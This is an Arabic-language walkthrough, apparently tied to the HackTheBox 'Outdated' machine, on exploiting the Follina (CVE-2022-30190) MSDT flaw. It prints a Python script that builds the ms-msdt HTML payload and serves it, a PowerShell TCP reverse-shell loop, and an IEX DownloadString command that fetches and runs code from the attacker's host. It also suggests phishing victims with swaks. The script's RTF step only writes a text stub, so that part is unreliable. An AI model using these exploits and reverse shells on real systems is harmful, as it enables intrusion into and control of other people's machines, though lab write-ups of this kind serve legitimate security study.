
أداة استغلال آلية لثغرة CVE-2022-30190 (Follina) تقوم بإنشاء ملفات RTF/DOCX ضارة تستخدم بروتوكول MSDT لتنفيذ أوامر عشوائية ونشر قذائف عكسية عبر PowerShell.
Follina (CVE-2022-30190) هي ثغرة حرجة لتنفيذ الأوامر عن بُعد (RCE) تؤثر على أداة تشخيص دعم مايكروسوفت (MSDT). تم اكتشاف هذا الخلل في الأصل من خلال ملف ضار تم اكتشافه في VirusTotal، وتم تسميته من قبل الباحث Kevin Beaumont.
في سياق جهاز Outdated من HackTheBox، تُستخدم هذه الثغرة كناقل دخول رئيسي للحصول على وصول إلى النظام.
يعتمد الاستغلال على إساءة استخدام بروتوكول ms-msdt، مما يسمح للمهاجم بتنفيذ كود عشوائي عبر تحميل موارد خارجية. يمكن تفعيل الهجوم ببساطة عن طريق فتح أو معاينة مستند Office (DOCX) أو ملف نصي غني (RTF) مُصمم خصيصًا.
لأتمتة الهجوم، يُوصى باستخدام سكريبتات إثبات المفهوم (PoC) المتاحة على منصات مثل GitHub. يسمح السكريبت follina.py بتكوين الحمولة بسهولة.
المستودع المقترح: تم ذكر إصدارات وظيفية من باحثين مثل John Hammond أو Edge-Security.
أمر الإنشاء:
python3 follina.py -m command -t rtf -c "الأمر_المراد_تنفيذه"
حيث:
-m يحدد وضع التنفيذ (command أو binary)-t نوع الملف (rtf أو docx)-c الأمر المراد حقنهمن الطرق الفعالة للحصول على وحدة تحكم تفاعلية في Windows هي حقن جملة PowerShell تقوم بتنزيل واستدعاء reverse shell من مجموعة Nishang (Invoke-PowerShellTcp.ps1).
يقوم سكريبت الاستغلال بإنشاء مورد HTML ضار يحتوي على التعليمات المشفرة بـ Base64 ويستضيفه تلقائيًا على خادم ويب محلي (المنفذ 80). سيشير الملف الضار (click_me.rtf) إلى عنوان URL هذا لتفعيل عملية تشخيص Windows وتنفيذ الكود.
في السيناريوهات الواقعية أو اختبار الاختراق، يمكن للمهاجم إرسال رابط المورد HTML أو الملف الضار إلى الضحية عبر تقنيات التصيد أو SMTP (باستخدام أدوات مثل swaks).
عند تفاعل المستخدم (أو مهمة آلية تقوم بمعالجة الملف)، يقوم MSDT بتفسير الحمولة وإنشاء اتصال عائد إلى جهاز المهاجم.
لاستلام الاتصال، يجب أن يكون المهاجم في وضع الاستماع (مثلًا باستخدام netcat أو rlwrap) على المنفذ المحدد في reverse shell. بعد الاستغلال الناجح، يتم الحصول على وحدة تحكم تفاعلية بصلاحيات المستخدم الذي قام بالإجراء، مما يسمح بالمتابعة في التعداد المحلي وتصعيد الصلاحيات.
follina.pyيقوم هذا السكريبت بأتمتة إنشاء الملف الضار (RTF أو DOCX)، وإنشاء مورد HTML الذي يستغل بروتوكول ms-msdt، وتشغيل خادم محلي لتقديم الحمولة.
follina.pyimport argparse
import base64
import http.server
import socketserver
import os
import threading
# هيكل يعتمد على أبحاث Kevin Beaumont و PoC المذكورة [2, 6]
def generate_payload(command):
# يجب ترميز الأمر بـ Base64 لمعالجته بواسطة MSDT [5]
command_b64 = base64.b64encode(command.encode()).decode()
# حمولة تسيء استخدام بروتوكول ms-msdt [5]
# يتم استخدام سلسلة طويلة من الأحرف لملء المخزن وتفعيل التنفيذ
payload = f"""<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
// حشو إضافي لضمان المعالجة
""" + ("A" * 4096) + "</script>"
return payload
def create_rtf(filename, server_url):
# ينشئ ملف RTF يشير إلى المورد HTML الخارجي [3, 4]
print(f"[*] جاري إنشاء الملف الضار: {filename}")
# ملاحظة: في التنفيذ الفعلي، يتم هنا حقن كائن OLE الذي يشير إلى server_url
with open(filename, "w") as f:
f.write(f"ملف RTF مهيأ للاتصال بـ {server_url}/exploit.html")
def run_server(port):
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", port), handler) as httpd:
print(f"[*] خادم HTTP نشط على المنفذ {port} [7]")
httpd.serve_forever()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="إثبات المفهوم لـ Follina (CVE-2022-30190)")
parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="وضع التنفيذ [3]")
parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="نوع الملف المراد إنشاؤه [3]")
parser.add_argument("-c", "--command", required=True, help="الأمر المراد تنفيذه على النظام الضحية [3]")
parser.add_argument("-p", "--port", type=int, default=80, help="منفذ الخادم المحلي [7]")
args = parser.parse_args()
# 1. إنشاء حمولة HTML
html_content = generate_payload(args.command)
with open("index.html", "w") as f:
f.write(html_content)
# 2. إنشاء المستند الضار
filename = f"click_me.{args.type}"
create_rtf(filename, "http://tu_ip_atacante")
# 3. بدء الخادم لاستقبال الطلب [4, 7]
run_server(args.port)
المعلمات الحرجة: كما هو موصوف في المصادر، يستخدم السكريبت -m للوضع، و-t لنوع الملف، و-c للأمر.
حقن PowerShell: من الاستخدامات الشائعة التي شوهدت في تدريبات s4vitar هي حقن جملة PowerShell تقوم بتنزيل واستدعاء reverse shell من Nishang (Invoke-PowerShellTcp.ps1) للحصول على وصول تفاعلي.
التنفيذ: يتم تفعيل الهجوم عندما يفتح الضحية أو يعاين الملف الضار (RTF/DOCX)، مما يؤدي إلى محاولة النظام تحميل مورد HTML وتنفيذ الأمر عبر أداة تشخيص Microsoft (MSDT).
الاستماع: يجب أن تكون في وضع الاستماع (مثلًا باستخدام netcat) على المنفذ المحدد في reverse shell الخاص بك لاستلام الاتصال بمجرد تفعيل الاستغلال على جهاز الضحية.
Invoke-PowerShellTcp.ps1 (Nishang)يُعد سكريبت Invoke-PowerShellTcp.ps1 أحد أكثر الأدوات استخدامًا من مجموعة Nishang للحصول على reverse shells في أنظمة Windows.
يتم تنزيل السكريبت الأصلي من المستودع الرسمي لـ Nishang على GitHub. الخطوات النموذجية لاستخدامه هي:
wget لجلب المورد إلى جهاز المهاجم.reverse.ps1 أو ps.ps1، لتسهيل استدعائه من جهاز الضحية.لتحويل السكريبت إلى حمولة قابلة للتنفيذ الذاتي، تتم إضافة سطر مثل التالي في نهاية ملف .ps1:
Invoke-PowerShellTcp -Reverse -IPAddress <عنوان_IP_المهاجم> -Port <منفذ_المهاجم>
حيث يجب استبدال <عنوان_IP_المهاجم> و <منفذ_المهاجم> ببيانات الاستماع الخاصة بك (مثلًا 10.10.14.29 و 443).
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PORT>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
(ملاحظة: يتبع هذا الكود منطق "gitbash" وأطراف التفاعل المذكورة في حل أجهزة مثل Compiled).
بمجرد أن يستضيف المهاجم السكريبت على خادم HTTP محلي (المنفذ 80)، يُستخدم الأمر IEX (Invoke-Expression) على جهاز الضحية لتحميله وتنفيذه مباشرة في الذاكرة دون لمس القرص:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<عنوان_IP_المهاجم>/reverse.ps1')"
هذه الطريقة أساسية في استغلال ثغرات مثل Follina أو في الحصول على الوصول الأولي بعد اختراق خدمات الويب. بمجرد التنفيذ، يتلقى المهاجم الاتصال في جلسة netcat في وضع الاستماع.
تم الاختراق!!!